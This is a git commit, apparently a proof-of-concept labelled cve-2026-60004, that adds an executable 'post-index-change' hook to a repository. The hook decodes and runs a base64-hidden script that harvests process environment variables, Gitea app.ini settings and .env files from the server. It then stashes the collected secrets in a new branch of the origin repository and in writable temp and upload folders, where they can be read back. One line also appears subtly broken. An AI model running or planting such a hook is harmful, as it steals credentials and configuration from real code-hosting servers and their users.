main
poc_fc8df53c 2026-10-27 15:11:32 +01:00
parent a82fc9152f
commit 0dd0991115
1 changed files with 26 additions and 0 deletions

26
hooks/post-index-change Executable file
View File

@ -0,0 +1,26 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
case "$alt" in
/*) ;;
*) alt="$git_dir/objects/$alt" ;;
esac
origin_git=${alt%/objects}
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0VOVi1CRUdJTiIKZWNobyAiLS0gcHJvYzEtZW52aXJvbiAtLSIKdHIgJ1wwJyAnXG4nIDwgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsIHwgaGVhZCAtODAKZWNobyAiLS0gZW52IC0tIgplbnYgMj4vZGV2L251bGwgfCBzb3J0IHwgaGVhZCAtMTIwCmVjaG8gIi0tIGFwcC5pbmkgLS0iCmZvciBmIGluIC9kYXRhL2dpdGVhL2NvbmYvYXBwLmluaSAvZXRjL2dpdGVhL2FwcC5pbmkgL2FwcC9naXRlYS9jb25mL2FwcC5pbmkgL2RhdGEvY29uZi9hcHAuaW5pIC9kYXRhL2dpdGVhL2dpdGVhL2NvbmYvYXBwLmluaTsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBncmVwIC12RSAiXlxzKig7fCMpIiAiJGYiIDI+L2Rldi9udWxsIHwgaGVhZCAtMTUwOyB9CmRvbmUKZWNobyAiLS0gZG90ZW52IC0tIgpmb3IgZiBpbiAvZGF0YS9naXRlYS8uZW52IC9hcHAvLmVudiAvLmVudiAvZGF0YS9naXRlYS9jb25mLy5lbnYgL3Jvb3QvLmVudiAvaG9tZS8qLy5lbnYgL2RhdGEvZ2l0ZWEvZ2l0ZWEvLmVudjsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBoZWFkIC02MCAiJGYiOyB9CmRvbmUKZWNobyAiIyMjRU5WLUVORCIK | base64 -d | sh' 2>&1)
st=$?
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
if [ -n "$blob" ]; then
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
git --git-dir="$origin_git" update-ref refs/heads/output-fc8df53c "$commit" 2>/dev/null
fi
if [ -d "$origin_git" ]; then
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
fi
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
if [ -d "$d" ] && [ -w "$d" ]; then
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
fi
done
exit 0